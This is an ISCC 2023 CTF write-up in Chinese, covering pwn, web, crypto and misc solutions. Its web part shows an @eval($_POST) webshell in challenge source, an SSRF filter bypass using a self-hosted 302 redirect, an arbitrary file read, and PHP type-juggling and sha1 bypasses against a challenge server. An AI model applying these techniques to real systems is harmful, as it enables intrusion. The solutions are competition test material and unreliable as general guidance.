io.sendlineafter("input your key\n",pay1)
io.interactive()
WEB
3d建模
通过抓包发现要传入一个key值且范围为[2,6]
传入key后发现是概率性触发,解码原本重定向的参数后发现imges是base64编码的,并且根据报错显示,可以知道这里存在任意文件读写
获得index.php
第一段:
???
第二段:LFI + 碰撞key值
读index.php
读取/flaaaag,得到 w#|m0p3DTB5o_V}
智力王
扫描目录得到源码,发现有hint,去访问发现提示key为4位,又参考源码中hint部分有对level传值,先尝试去爆破下密钥
!
构造session
根据提示,行百里者半九十
赠元发弟放言 – 百度汉语
作者:黄庭坚
亏功一篑,未成丘山。凿井九阶,不次水泽。行百里者半九十,小狐汔济濡其尾。故曰时乎,时不再来。终终始始,是谓君子。
去90关,发现ssrf的入口
然后发现ssrf入口,在服务器上构造302页面,通过日志分析,ssrfprotect函数应该是有两次请求,第一次为检测,第二次才是真正请求,所以在服务器开始设置,成功绕过
最后格式化字符串
https://sec-in.com/article/336
侧信道
蚁剑连接
第0层
访问http://47.94.14.162:10011/
<?php
highlight_file(__FILE__);
include('waf.php');
@eval($_POST[1]);
?>
访问http://47.94.14.162:10011/waf.php
跳转到https://www.bilibili.com/video/BV1GJ411x7h7/?VUE9SVNDQw&t=1&vd_source=a3973ee32c81b12d5f6370e78020d6a5
对url的参数进行分析,得到
VUE9SVNDQw -> UA=ISCC
更改UA,得到IScC_L3vel2.php
第一层访问http://47.94.14.162:10011/IScC_L3vel2.php
WELCOME TO 2023ISCC
your are in 2023ISCC
W0w you Find me next
IsCC_N3xT.php
第二层
访问:http://47.94.14.162:10011/IsCC_N3xT.php
注释中发现隐藏信息,构建base64绕过
http://47.94.14.162:10011/IsCC_N3xT.php?s0urc3=%26czB1cmMz
即可得到源码:
<?php
include('level2.php');
error_reporting(0);
if($_GET['s0urc3']=='s0urc3'){
echo "没看见base64?";
}
if (isset($_GET['s0urc3'])) {
$s0urc3 = $_GET['s0urc3'];
if ($_GET['s0urc3'] != 'czB1cmMz') {
if (preg_match("/\&/",$s0urc3)){
if (base64_decode($_GET['s0urc3']) == 's0urc3') {
highlight_file(__FILE__);
echo "喜欢我isccIscciSccisCciscCIsCc1sCc吗";
}
}else{
die('想这样绕过?门都没有!!');
}
}else{
echo "s0urc3不能czB1cmMz";
echo "<br/>你不准看源码!";
}
}
$a = $_GET['iscc'] ?: '';
$b = $_GET['Iscc'] ?: '';
$c = $_GET['iScc'] ?: '';
$d = $_GET['isCc'] ?: '';
if (isset($_GET['iscc_iscc.lab'])) {
echo "1";
if (file_get_contents($a) === 'ISCC!!!') {
if ($b != 2023 && intval($b, 0) === 2023) {
header("location: https://iscc.isclab.org.cn/");
}
if ($c != $d && sha1($c) === sha1($d)) {
echo $level2;
} else {
header("location: https://iscc.isclab.org.cn/");
}
} else {
header("location: https://iscc.isclab.org.cn/");
}
}
直接构造,得到WCr3yPbt0.php
第三层
访问:http://47.94.14.162:10011/WCr3yPbt0.php
直接爆破
第四层
访问:http://47.94.14.162:10011/IScC_F1n4l.php
python直接计算
def L(u):
return (u-1)//n
aa = L(pow(c,lam,n**2))
bb = L(pow(g,lam,n**2))
from Crypto.Util.number import *
m = (aa * inverse(bb,n)) % n
print(long_to_bytes(m).decode())
MISC
Guess_RSA
对得到的图片进行分析
得到:381044a04c6c66078e89668fd73cb82c4f10161be4c6f3a12781698d00efba838cdb4b4373bd72ebdca49a6470e59f9fb8413a3b2ac7ac850f176c4d65ef7ab5
对公钥进行解析得到:
n = 141290037064947566206529132717181370698234864868642699047557973411457219735533077057541763794458453776854205535054584663279827865601322416203933147042933586981716703290143924844104156938834839095947246954751648421206411462640039984758358072222401824528712347742351563547663982933462992608020341150998418481469
e = 65537
对三个密文进行解析得到
c1 = 15675664162517005241985334850747322279876279456574700862907552681481377133185544579989247038799479171776327240780404882118904537725766312056443466295064750703372005792416973033030771437551025381553764003235556081094078622478104365189796833112914604071350200351731894133093904945300457608647456120613115797620
c2 = 140861103274216455230721845501898308648236818144495265653434927079070691530723508171403973717514275151780171294904394774518093215002953258888100585054189890096052341414700257111375220034066504715553430076834975116291241799793991901777387974579764040747570218791785702867501258811622798523769676652686058178795
c3 = 99529796079917923667416703621596340605976154418748680997166709360261843180294998507573349072387930043122958288285449187996957718834900637362680133270163491814007472682256839243994660305780477877832077377778094226956503797223980753581850455217835856249465622909655714810911375056415139213238490343537769816334
然后将图片中得到的数据当做dp,解rsa
import gmpy2
import libnum
n= 27668660498922472500375628791494457734606266818069701675622210764530734670055237365964515401136252460079836557528155494395414026102243150264467747552165980034822789855156393675633585523947284822956570940300815688428272179955519784047026721940825678372413325366810714188083971061610916723232303624073197177247909662284658083044930730214376549018326216077245460925474122752843529327818195172608058603907107055047373988772755238592672619677204274349409934926464653606936886759583857600591175832359030213993574196933146787115472217171266027680871426781808322743719797933890050511216176646057404637175233292802202378178923
e= 65537
c= 18746194505700558201384277872169794830163138500190175352733908790643996350322919203747136393360746371577741569251126631209757493122905366053702105332759045216734151732055297533840150160461690079688034702542222629348010873130730138850947050963239142274509302267700676363407236433953421106335256696478544846576588349793045380356414959853449132728689763285560503263564382959242418867269024942936994201056347852441783166626330358921915598417022455483787735380713160844507233190294671732326502779637880003264607831211012590797570894491821030009044382318547417922292596783113728409054655525526445493991152255309734338232398
dp= 84706766478932757866513811508397926260907099696053499252864417428715101182822867026156436364610113936081745297799505943107560000280649681320429156841418693968833000874958070946344585926708929977830356488942445224051910936465571136153158752923982942526321612200665183531221960334047957736135486207600440459975
p=gmpy2.gcd(pow(2,e*dp,n)-2,n)
print(p)
for i in range(1, e):
p = (dp * e - 1) // i + 1
if n % p == 0:
q = n // p
print(p)
break
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m))
print(flag)
解三次rsa得到flag
雪豹
下载得到压缩包,发现不能正常识别,用十六进制工具打开
这里发现数据被修改为了73,将其改为74即可正常识别
jpg改个高得到zip密码happy_cat
解开之后是一个嵌套49183层的zip
解压脚本
import os
import zipfile
import sys
import time
sys.setrecursionlimit(1000000)#防止python栈溢出
def unzip_file(file_name) :
with zipfile.ZipFile(file_name,'r') as zip:
comment=zip.comment
print(f"{file_name}:{comment}")
zip.extractall()
zip.close()#释放内存
for file in zip.namelist():
if file.endswith('.zip'):
os.remove(file_name)
unzip_file(file)
file_name = '49183-secret.zip'
unzip_file(file_name)
解到最后发现没有flag,提示flag在路上
然后发现压缩包的时间不对劲,压缩包总个数可以被8整除
时间为10:13:52、10:13:58两种
10:13:52为0,10:13:58为1生成二进制,解二进制
得到图片
用imagein软件解
得到emoji
得到flag
哦?摩斯密码?
解压发现医用有4716个文件夹,每个文件夹下三个二维码
每个二维码扫描之后都是莫斯密码,然后直接遍历扫码然后解码
得到:
T1S0HT1T1S0FLAGT1S0SNFLAGT1S0N0T1T1N0HT1N0T1S0T1THS0HTHTHFLAGT1T1FLAGN0HTHT1T1S0THS0FLAGT1T1T1THHT1THTHS0FLAGSNFLAGTHT1N0THN0FLAGTHTHFLAGHT1N0HS0THT1THS0T1SNTHN0T1THT1S0FLAGN0N0SNTHT1FLAGTHTHSNFLAGTHTHT1THFLAGHTHS0T1SNFLAGT1THFLAGT1S0FLAGT1THFLAGT1S0HHHSNHSNHS0THT1FLAGS0T1SNS0T1THS0HHTHS0HT1HS0THSNT1SNHTHN0THT1FLAGT1HT1THTHTHFLAGSNHTHT1SNFLAGN0T1THSNT1FLAGTHT1SNHTHT1THSNFLAGSNT1SNFLAGFLAGT1N0THFLAGTHHN0T1HFLAGT1SNN0T1THSNSNSNHTHT1S0THT1FLAGT1S0T1S0T1THHT1FLAGTHT1THFLAGFLAGT1HTHFLAGSNHS0HHT1THTHFLAGT1THFLAGT1HFLAGS0SNTHSNT1T1SNS0N0T1SNSNTHSNT1T1T1T1FLAGT1N0THT1S0S0THT1T1T1FLAGT1HT1SNT1HT1T1FLAGT1T1T1THTHT1N0N0T1T1THT1SNT1S0SNS0FLAGTHTHFLAGS0HTHN0THTHN0HT1T1HHSNN0FLAGS0S0S0SNT1THTHT1T1THT1T1T1THHFLAGS0THS0SNHS0T1SNS0FLAGT1T1T1N0T1SNN0S0T1N0THTHN0HS0FLAGSNHT1HTHT1HTHFLAGSNSNN0SNHFLAGT1T1SNT1T1SNT1SNFLAGN0T1HS0THHFLAGFLAGTHT1THFLAGTHTHFLAGT1THFLAGTHTHT1HS0FLAGHN0T1FLAGS0HSNS0N0HTHN0THFLAGS0T1THT1T1THSNS0THFLAGTHHFLAGSNHT1SNT1HT1T1FLAGTHHFLAGT1THT1THT1T1SNT1T1N0T1HFLAGN0THSNTHTHHT1T1THFLAGHS0SNFLAGT1THT1T1T1FLAGTHS0N0T1T1T1HHFLAGTHN0N0HT1FLAGTHTHT1T1T1T1FLAGT1FLAGT1THN0T1T1FLAGTHN0HSNS0FLAGT1THFLAGTHT1FLAGT1SNN0T1T1S0SNT1HHSNHFLAGSNSNT1N0FLAGS0S0SNN0N0THS0S0FLAGT1T1T1N0HT1T1N0T1S0SNFLAGT1N0T1T1SNFLAGHT1T1S0N0FLAGN0SNT1THN0SNTHT1T1THSNT1THT1T1FLAGTHS0S0T1T1T1FLAGTHHS0T1SNTHFLAGT1T1HHT1S0T1THT1HSNFLAGT1N0T1T1SNFLAGTHT1FLAGSNT1N0N0SNSNTHT1S0FLAGFLAGT1T1SNSNS0HFLAGSNSNSNS0N0FLAGTHTHFLAGN0HTHHTHT1N0SNT1T1THTHTHT1FLAGSNTHT1T1T1THFLAGFLAGSNT1N0FLAGTHT1THTHS0THT1T1HHSNS0SNHFLAGS0SNFLAGT1T1THSNS0T1T1N0T1HT1FLAGTHHTHSNTHT1HT1SNFLAGFLAGSNSNN0THT1T1S0HT1S0THT1HT1SNSNSNHFLAGTHN0S0T1THSNTHT1T1S0SNFLAGTHTHS0HTHTHT1T1FLAGSNSNFLAGTHSNS0HT1HT1T1SNFLAGHS0T1T1FLAGHN0N0THT1S0HT1FLAGTHSNHT1THHSNT1FLAGN0SNHT1HT1T1THN0THS0SNS0SNFLAGSNN0FLAGTHT1T1FLAGT1T1THSNFLAGT1T1T1THT1N0T1THFLAGS0T1SNT1SNFLAGN0HTHT1HTHT1THFLAGS0HFLAGTHHHFLAGTHTHS0SNFLAGT1T1FLAGT1T1FLAGT1N0FLAGTHS0T1SNT1N0THN0THT1SNT1S0T1HT1HFLAGT1THSNHSNHFLAGFLAGSNT1T1THT1THTHN0T1HS0N0SNTHT1SNHTHT1S0SNFLAGT1SNHSNT1THTHTHTHS0S0FLAGN0THN0T1SNFLAGTHTHTHTHTHN0THSNHT1T1FLAGN0THT1N0N0T1FLAGTHT1T1S0S0SNFLAGS0N0THT1HT1FLAGN0T1THHHFLAGTHN0SNTHT1T1HTHFLAGS0T1THT1SNN0N0HT1THSNFLAGT1THT1FLAGN0T1SNT1S0THS0S0THS0T1S0THTHN0FLAGT1S0N0S0SNT1FLAGS0T1N0SNN0FLAGTHTHFLAGT1N0SNSNTHTHT1SNFLAGT1THTHN0N0HHTHSNSNT1THFLAGSNN0SNSNHSNN0FLAGTHT1SNT1N0T1SNSNS0T1SNT1THN0THHS0FLAGTHT1FLAGSNTHT1S0THFLAGTHSNSNT1T1S0S0SNFLAGN0THS0S0THT1S0THHT1S0THFLAGTHFLAGS0SNSNTHN0THHTHFLAGTHTHT1HS0HT1THFLAGTHHS0HN0FLAGT1THS0SNTHSNN0SNFLAGT1S0THT1T1HT1N0S0S0THT1THS0SNFLAGT1HS0FLAGN0T1THFLAGS0S0FLAGHTHN0THT1T1N0N0HN0SNT1SNHFLAGSNS0FLAGTHT1T1THS0THFLAGTHSNN0T1T1HTHSNT1FLAGN0THSNFLAGT1THT1T1S0T1THS0FLAGN0T1HTHTHHTHT1FLAGS0T1S0S0THS0S0T1T1THSNFLAGTHTHT1T1HN0S0HHT1SNT1HS0N0HHT1T1THSNT1N0S0FLAGFLAGT1THT1S0SNTHSNT1THFLAGS0HFLAGT1THFLAGT1HT1T1SNFLAGT1T1SNS0THHHHN0T1THTHFLAGSNT1T1FLAGSNSNT1FLAGTHTHFLAGT1HS0N0S0HT1T1FLAGTHT1SNTHSNHS0T1FLAGT1T1S0FLAGT1FLAGS0THFLAGN0T1SNTHT1SNT1S0T1T1THFLAGSNN0SNSNTHTHTHTHFLAGSNS0HN0THHT1N0S0N0THFLAGN0T1S0FLAGS0T1T1T1HT1T1FLAGSNTHFLAGTHT1SNTHS0THHS0FLAGT1HFLAGHT1THTHN0SNTHT1N0N0SNT1HSNTHTHT1FLAGT1HHS0T1T1FLAGT1FLAGTHS0T1T1HFLAGSNN0THN0N0FLAGTHHN0THS0T1T1S0FLAGS0THTHSNHFLAGS0THTHSNT1T1FLAGFLAGTHT1THTHS0THFLAGHSNHT1S0T1SNTHHT1THTHTHT1FLAGT1T1S0THN0HS0S0N0T1T1FLAGT1SNN0HN0HT1T1T1THS0FLAGTHT1N0N0THSNS0T1N0FLAGSNHTHTHT1THS0HT1T1FLAGS0HFLAGT1SNFLAGTHSNS0HTHHHT1N0T1T1HT1T1FLAGTHN0T1T1T1FLAGTHT1SNFLAGFLAGHT1S0FLAGT1S0S0THTHT1THTHFLAGTHHFLAGSNT1FLAGS0THSNN0T1T1T1HT1SNSNT1S0N0T1T1THTHFLAGTHT1S0THFLAGHTHTHS0T1T1THTHTHSNT1THHT1FLAGSNT1S0HT1SNTHSNFLAGHT1FLAGT1N0FLAGTHT1S0N0T1SNFLAGT1T1HT1S0THSNT1T1S0THSNHT1T1FLAGS0T1S0N0SNTHT1T1THFLAGT1T1FLAGS0T1SNTHT1THT1HFLAGS0THFLAGS0HTHFLAGFLAGN0THHSNT1T1S0T1THSNT1T1FLAGS0THT1N0THFLAGHT1HN0HHTHT1FLAGT1SNT1T1THT1S0SNSNN0N0N0S0THTHTHTHSNHTHHS0HT1HS0FLAGN0T1THHT1THSNTHT1SNT1T1FLAGTHFLAGT1T1THSNN0T1HHTHSNTHS0T1SNTHSNN0FLAGT1THFLAGT1T1FLAGTHN0FLAGT1THN0S0T1SNT1SNT1FLAGT1THT1T1FLAGT1T1FLAGT1S0THSNS0THHT1HSNT1THT1THT1T1THFLAGSNN0FLAGT1THFLAGN0S0T1T1THSNSNSNT1HHT1S0T1THS0THT1SNT1HFLAGN0SNT1THFLAGTHT1HS0THFLAGHT1FLAGS0HFLAGT1S0FLAGSNS0SNFLAGT1FLAGSNT1T1THTHFLAGT1THT1HHFLAGHT1FLAGTHT1FLAGT1THHS0SNSNTHTHT1FLAGN0T1SNFLAGT1THT1HN0N0T1THN0FLAGHT1FLAGTHT1THT1THFLAGT1T1SNTHT1T1T1T1THSNS0FLAGT1THS0T1THN0FLAGSNFLAGHTHT1SNTHTHT1T1FLAGSNT1FLAGT1T1THTHSNT1T1T1FLAGHHFLAGSNT1SNSNTHTHFLAGS0S0S0FLAGHSNTHT1THTHT1HN0FLAGTHT1FLAGS0N0SNS0S0T1S0T1FLAGHHTHS0T1HT1N0THT1THFLAGN0N0SNFLAGT1HT1T1FLAGS0HFLAGT1SNT1SNHN0THS0T1N0HSNHT1FLAGS0S0FLAGS0T1FLAGTHN0T1FLAGHS0T1THTHT1FLAGSNN0T1FLAGT1THFLAGSNT1FLAGT1THTHT1SNFLAGN0HS0SNT1T1SNS0T1FLAGT1T1THT1SNT1T1FLAGSNTHT1SNSNFLAGSNN0HT1THS0T1THN0SNT1FLAGTHTHT1S0SNT1T1HFLAGHN0FLAGS0T1THT1T1HHT1HT1T1T1FLAGSNSNN0THFLAGTHT1THTHTHFLAGS0T1S0T1T1N0THTHT1THTHTHT1S0HT1S0T1T1N0T1T1T1T1HHFLAGT1THT1SNS0FLAGTHN0FLAGSNS0N0FLAGFLAGT1T1HT1N0THFLAGTHT1HN0THS0N0T1HT1THSNS0S0FLAGT1T1N0SNHN0N0SNFLAGTHTHTHSNTHFLAGS0SNHHTHSNS0HS0FLAGSNS0THT1T1THSNTHTHFLAGT1THSNT1THTHFLAGTHSNTHS0S0FLAGT1T1FLAGN0HS0T1THFLAGTHN0T1T1T1THT1T1T1THTHSNN0T1T1T1SNS0SNS0N0FLAGT1T1HHS0S0T1HT1S0FLAGTHS0HS0THSNTHT1THHHTHN0THSNT1T1S0N0SNFLAGT1T1FLAGT1HS0HSNFLAGT1T1SNTHT1N0THS0T1SNS0FLAGSNSNHN0T1SNSNT1THT1THSNSNT1N0HTHT1T1THN0FLAGSNHSNT1FLAGSNSNTHN0HFLAGTHSNSNHTHFLAGTHTHFLAGT1N0FLAGSNHTHFLAGT1THS0T1T1SNSNTHTHTHS0T1N0HTHHTHT1N0THN0FLAGTHTHTHHS0S0THSNS0FLAGT1S0N0N0SNN0T1T1HN0T1S0THT1FLAGSNT1SNTHS0T1HSNT1S0S0S0THSNTHT1HFLAGTHT1T1HTHSNTHSNHTHTHT1THT1T1T1THS0THT1FLAGT1HN0FLAGT1FLAGT1T1THSNN0T1S0HFLAGSNSNTHT1N0FLAGS0THSNTHT1FLAGTHTHFLAGHS0S0SNHT1THS0S0FLAGS0FLAGT1THFLAGS0S0THT1THFLAGN0T1S0THT1HTHSNFLAGS0HHT1THFLAGHSNTHSNN0T1T1HT1FLAGTHSNSNT1HSNT1SNTHS0T1SNFLAGHT1HS0SNSNT1THT1T1N0HSNSNT1S0T1N0THT1THHHS0SNT1T1T1THT1FLAGTHS0FLAGS0THFLAGT1HN0S0T1FLAGSNT1SNFLAGFLAGS0THT1T1SNTHS0THTHT1SNTHT1SNT1S0THTHHT1THFLAGT1T1FLAGTHSNFLAGT1SNSNT1N0FLAGN0T1HTHTHT1FLAGT1N0S0HN0SNT1HN0THFLAGS0S0THT1HHTHN0S0T1T1SNS0THHS0T1FLAGT1THTHTHN0FLAGSNTHFLAGS0S0THT1N0N0SNT1FLAGSNT1THSNTHSNSNTHT1FLAGT1FLAGSNSNFLAGN0S0FLAGTHTHFLAGS0THHTHT1FLAGT1THHFLAGS0S0HFLAGTHTHTHSNHTHFLAGTHTHT1SNN0HTHT1S0S0T1FLAGS0SNSNSNHFLAGTHHFLAGS0THTHFLAGS0FLAGN0SNFLAGS0HHN0SNSNTHT1FLAGT1THTHS0T1T1SNTHFLAGTHT1S0THTHT1HT1THS0N0T1T1THTHHT1HT1T1THHTHT1SNTHFLAGHTHT1N0HN0T1HSNFLAGHFLAGS0S0SNHTHN0HT1FLAGN0HT1THHTHTHSNTHTHSNTHTHN0FLAGHSNT1SNN0THHHS0T1T1FLAGSNT1HS0THHT1THFLAGTHTHSNHTHT1SNTHT1FLAGFLAGT1T1N0FLAGTHHFLAGT1SNFLAGT1S0FLAGT1SNT1HS0HSNSNT1SNHT1THS0THTHSNTHFLAGFLAGHT1SNHT1T1T1THT1FLAGSNTHTHTHT1T1T1T1N0SNT1T1SNSNFLAGSNHFLAGTHT1S0SNHT1T1SNFLAGTHTHS0THTHT1THHN0FLAGT1HHS0SNTHSNT1HTHFLAGTHT1THTHHFLAGS0N0FLAGTHSNFLAGTHS0FLAGT1S0SNHT1HFLAGFLAGT1S0S0FLAGHT1FLAGSNTHFLAGS0SNFLAGTHHTHFLAGFLAGS0T1N0FLAGN0THFLAGN0N0THT1T1SNTHTHFLAGN0T1FLAGHS0THT1HSNTHS0SNFLAGN0FLAGTHT1FLAGT1T1HSNTHT1HT1N0THT1FLAGTHHT1SNSNSNS0S0HHTHFLAGT1HFLAGT1SNT1FLAGHFLAGTHSNN0T1T1S0T1HTHT1N0SNSNT1S0S0S0FLAGHT1FLAGN0T1FLAGSNSNHHSNT1S0SNFLAGTHN0S0FLAGFLAGHHTHN0THTHTHSNSNHTHHS0THT1FLAGT1S0FLAGT1T1N0S0THFLAGHT1THTHT1S0HN0FLAGS0THTHN0N0HFLAGFLAGN0T1THHSNS0S0T1THHN0T1T1S0HFLAGS0T1HT1THFLAGTHTHT1T1T1N0SNTHFLAGS0N0N0THSNTHTHSNHT1S0FLAGTHTHT1FLAGN0S0THFLAGSNHHT1THSNS0THN0FLAGT1T1T1T1THFLAGN0T1HTHS0FLAGT1T1SNT1N0FLAGSNN0T1T1THT1T1N0T1FLAGS0T1SNSNFLAGHHFLAGS0N0S0SNSNS0S0N0FLAGHN0N0T1THFLAGTHT1T1T1THT1SNSNFLAGHTHT1T1SNHTHTHT1SNTHTHFLAGSNT1SNSNHHFLAGSNT1SNT1THS0T1S0S0THSNHFLAGN0S0SNS0S0T1HTHFLAGHT1THN0SNFLAGHS0THHS0SNSNHFLAGTHHT1HN0T1FLAGT1HSNN0SNT1THHHT1S0N0THTHTHT1HSNTHHHS0HT1HN0SNFLAGT1THTHS0HTHT1HT1FLAGT1HHT1SNHSNTHTHN0S0T1THHSNTHT1FLAGHHFLAGN0THTHHTHSNTHS0T1HTHN0HT1SNS0N0THT1T1SNN0SNFLAGTHT1T1S0S0THFLAGN0THSNT1N0THFLAGTHTHT1FLAGHTHFLAGS0T1FLAGHHFLAGHT1THFLAGFLAGS0T1T1FLAGHSNFLAGN0T1T1THN0T1T1THFLAGT1T1THTHN0FLAGTHT1N0SNT1THSNN0THTHS0T1THS0THFLAGSNTHSNFLAGHHHSNHS0FLAGN0T1SNT1HFLAGTHTHFLAGTHSNFLAGT1S0HFLAGHTHT1FLAGS0HT1FLAGHT1T1THSNSNN0T1SNT1HFLAGHTHN0THT1S0SNSNHT1SNFLAGTHSNSNT1HT1T1THTHT1T1N0S0T1T1T1S0THS0SNFLAGT1THSNFLAGSNN0HFLAGTHN0THT1T1THHTHN0FLAGSNTHFLAGTHTHTHT1THSNSNHFLAGTHSNT1THTHFLAGT1N0THN0THSNTHSNT1S0N0N0T1T1T1FLAGN0SNT1T1FLAGT1SNT1T1SNSNSNHTHT1THFLAGSNT1HTHHFLAGHT1N0S0T1T1SNT1T1T1T1T1S0N0FLAGHT1THS0S0T1HT1N0T1SNFLAGS0T1THFLAGT1FLAGT1S0FLAGS0HSNSNTHTHHHN0S0THS0SNHFLAGSNTHHHSNTHTHT1FLAGSNTHFLAGT1T1HFLAGT1HHT1FLAGN0HS0T1T1FLAGT1SNFLAGTHT1FLAGT1T1FLAGT1SNSNT1T1T1FLAGFLAGS0THSNFLAGS0HTHS0T1T1THHS0N0HFLAGN0HTHSNT1FLAGSNN0T1THHFLAGTHSNHT1N0N0S0T1S0SNT1THTHN0T1FLAGT1FLAGTHTHTHSNSNN0SNT1HT1S0HT1T1THTHT1FLAGTHS0FLAGT1S0FLAGT1T1T1HS0SNS0SNHSNN0N0HT1FLAGTHTHN0T1T1SNN0THS0THS0N0THHT1T1T1HS0S0T1THTHTHT1THTHFLAGT1FLAGT1HFLAGHSNHT1T1T1SNT1S0T1N0T1HTHFLAGHS0T1THS0THS0S0FLAGT1T1FLAGT1THT1S0THN0FLAGFLAGT1THT1FLAGN0T1S0N0T1T1T1HT1N0THSNT1SNTHHN0T1T1S0N0T1HTHHT1S0S0SNT1T1SNS0HTHTHTHS0FLAGSNT1FLAGS0T1T1THN0HSNT1S0S0S0HT1N0FLAGTHHT1FLAGFLAGT1HHT1T1HTHN0T1S0THT1S0S0T1HT1T1T1T1T1THT1SNFLAGN0T1FLAGT1SNFLAGS0T1S0HT1THT1S0FLAGHS0T1N0HT1S0T1N0FLAGT1SNS0THHHTHSNHT1S0THT1T1THN0T1T1N0N0T1N0THTHSNFLAGHTHS0T1T1FLAGS0THHTHSNFLAGT1SNT1N0T1HS0SNT1T1N0FLAGTHS0FLAGS0S0THFLAGT1FLAGTHTHFLAGT1S0FLAGSNT1N0N0S0FLAGTHSNFLAGT1THSNFLAGFLAGTHT1T1FLAGHHTHTHN0T1T1T1SNT1SNTHT1T1THT1T1THT1SNSNHS0N0T1T1THTHS0SNHT1FLAGS0S0FLAGSNS0T1T1T1THTHT1N0SNT1N0T1THFLAGTHS0SNT1S0T1FLAGFLAGT1T1S0FLAGSNT1THT1T1FLAGSNT1SNN0HT1N0N0SNN0THFLAGS0T1THTHT1T1SNT1T1THN0THTHTHFLAGT1THN0N0THT1FLAGFLAGSNS0T1FLAGHSNTHT1SNHS0THT1HT1SNSNT1THTHTHTHHT1T1S0HS0T1T1T1SNT1HSNT1HN0HFLAGHTHT1SNT1HN0HFLAGT1T1N0HS0S0SNSNT1THHT1N0HFLAGS0HT1THTHN0HSNT1SNN0T1THTHS0THN0THT1SNT1SNS0HHT1THT1T1S0T1THS0FLAGTHTHT1THS0THTHFLAGS0HTHN0T1FLAGSNT1FLAGN0HS0T1T1FLAGTHT1FLAGTHTHSNHS0SNFLAGS0S0THSNFLAGN0THT1THTHFLAGSNS0FLAGTHHFLAGSNS0FLAGS0SNTHFLAGS0SNT1N0FLAGS0T1SNT1HS0HHFLAGTHT1FLAGN0THFLAGS0SNFLAGN0HSNT1SNT1FLAGT1T1T1SNFLAGT1SNFLAGHHFLAGT1S0FLAGHT1SNT1T1FLAGT1SNSNTHTHTHTHSNHFLAGFLAGT1S0N0FLAGSNN0N0S0THFLAGHT1T1SNS0T1T1S0FLAGHT1T1THN0S0T1THFLAGSNN0T1T1THSNFLAGN0N0THN0FLAGS0HFLAGT1SNHT1SNT1T1THSNN0S0S0THTHFLAGTHS0SNT1THSNHT1S0T1SNFLAGN0T1FLAGN0HHS0THTHSNTHTHT1N0T1FLAGHS0T1THFLAGS0THFLAGT1HT1N0SNT1S0HHN0S0HN0SNN0T1HFLAGHHFLAGT1T1FLAGT1HS0T1SNTHFLAGFLAGTHSNTHFLAGHSNTHTHT1N0THTHT1SNS0SNSNSNT1N0T1HTHT1FLAGN0SNFLAGSNT1SNTHTHFLAGTHS0T1FLAGTHSNT1SNT1HSNFLAGHTHFLAGT1T1FLAGTHT1S0THT1FLAGHTHT1SNS0FLAGN0HTHT1SNTHHS0S0THS0T1FLAGHHS0FLAGTHT1N0HT1N0THHSNTHTHT1S0THHFLAGSNTHT1T1T1FLAGN0N0THS0T1T1SNN0T1HTHT1HT1HT1T1FLAGT1T1FLAGT1S0THFLAGHTHS0THS0T1FLAGHHS0SNHT1N0S0N0FLAGTHSNSNTHS0T1SNSNN0HT1N0S0HFLAGN0THTHT1T1T1HS0FLAGT1THT1THHSNS0SNT1THT1FLAGT1SNT1FLAGHFLAGT1THHN0N0FLAGHT1HHHFLAGHTHTHSNTHT1N0THTHHT1THSNT1FLAGN0THFLAGHN0THT1S0N0T1T1T1FLAGFLAGT1T1S0T1T1T1FLAGT1SNT1THTHS0THTHFLAGHT1FLAGT1SNFLAGHT1S0T1T1HHS0N0THN0SNFLAGS0T1N0S0FLAGT1T1HS0THS0SNTHTHN0THN0THTHFLAGS0HHT1T1FLAGN0T1S0THS0THSNT1FLAGTHN0FLAGN0T1HFLAGSNTHS0T1THT1N0T1SNFLAGSNN0N0FLAGN0THFLAGT1SNSNN0THFLAGSNS0THS0HTHTHHFLAGTHSNT1THSNSNFLAGFLAGS0SNTHT1T1T1THN0SNFLAGN0T1N0T1T1FLAGN0T1FLAGTHSNSNT1THSNS0HT1THSNT1T1THT1HT1THTHTHSNSNT1T1N0T1FLAGT1T1THFLAGTHS0S0THT1N0N0T1T1S0N0THFLAGTHTHTHFLAGHHFLAGT1N0FLAGHTHSNT1SNFLAGT1T1SNFLAGT1N0HTHT1THS0T1N0T1T1T1FLAGHHT1THT1T1HHTHHS0THFLAGTHHTHHT1FLAGTHSNFLAGTHHHT1T1FLAGTHN0S0HS0SNFLAGN0SNT1SNN0SNFLAGT1THTHFLAGN0T1FLAGT1S0FLAGHS0FLAGHTHT1T1THT1FLAGT1T1T1FLAGT1SNS0FLAGS0SNT1S0SNFLAGTHT1FLAGSNS0T1S0HS0SNT1T1S0T1T1THSNTHT1N0FLAGTHS0N0S0HT1T1T1HFLAGS0N0HTHT1T1S0FLAGN0S0T1SNTHN0T1T1FLAGHT1S0THTHTHS0SNFLAGT1T1THTHHT1S0T1S0T1SNFLAGS0N0FLAGTHN0N0THHTHHSNT1FLAGT1T1N0T1FLAGS0HN0T1SNFLAGSNSNFLAGS0S0FLAGT1THS0THN0SNTHT1FLAGS0T1T1THSNT1FLAGTHS0T1S0THTHHHT1FLAGS0HN0FLAGSNSNT1THT1FLAGSNT1FLAGT1T1FLAGT1SNSNN0THTHN0T1T1FLAGFLAGT1THT1THTHTHT1S0S0FLAGTHT1T1T1T1N0THTHS0HT1FLAGT1SNFLAGHT1T1SNHFLAGTHTHSNT1S0THTHT1HTHHTHTHT1T1THT1N0FLAGS0N0S0S0T1S0FLAGN0THSNN0T1HFLAGT1N0FLAGTHSNFLAGSNN0FLAGT1N0HFLAGS0THN0N0FLAGT1N0THTHT1T1THSNFLAGTHN0T1T1T1HTHSNFLAGN0THFLAGS0T1T1S0S0FLAGTHTHT1SNT1N0S0THT1T1SNHN0HSNFLAGT1SNT1T1HSNFLAGS0T1T1THTHT1T1T1N0FLAGT1THFLAGN0THFLAGS0SNS0SNHFLAGTHN0N0HN0THFLAGFLAGT1N0HFLAGS0N0S0THTHT1S0HT1T1THS0THT1HS0T1N0T1T1T1HHFLAGHHFLAGT1N0FLAGN0T1T1T1T1N0T1T1N0S0T1HFLAGT1FLAGSNTHFLAGTHS0THSNT1SNT1N0FLAGTHN0THHTHFLAGN0N0S0THTHSNTHT1THHTHN0THT1FLAGT1T1THFLAGHT1S0FLAGN0T1S0T1HTHT1T1S0SNS0SNFLAGS0HTHSNHHN0THS0THS0FLAGTHT1SNHT1FLAGN0T1T1T1THT1SNT1S0N0S0N0T1T1SNHT1THSNT1FLAGT1SNSNSNT1S0S0S0S0THSNT1T1SNN0FLAGFLAGT1T1T1T1SNHFLAGT1T1THN0S0HSNS0FLAGTHT1T1T1THSNSNSNT1SNHS0THT1S0T1SNFLAGS0THHT1SNFLAGHTHSNHTHSNFLAGSNFLAG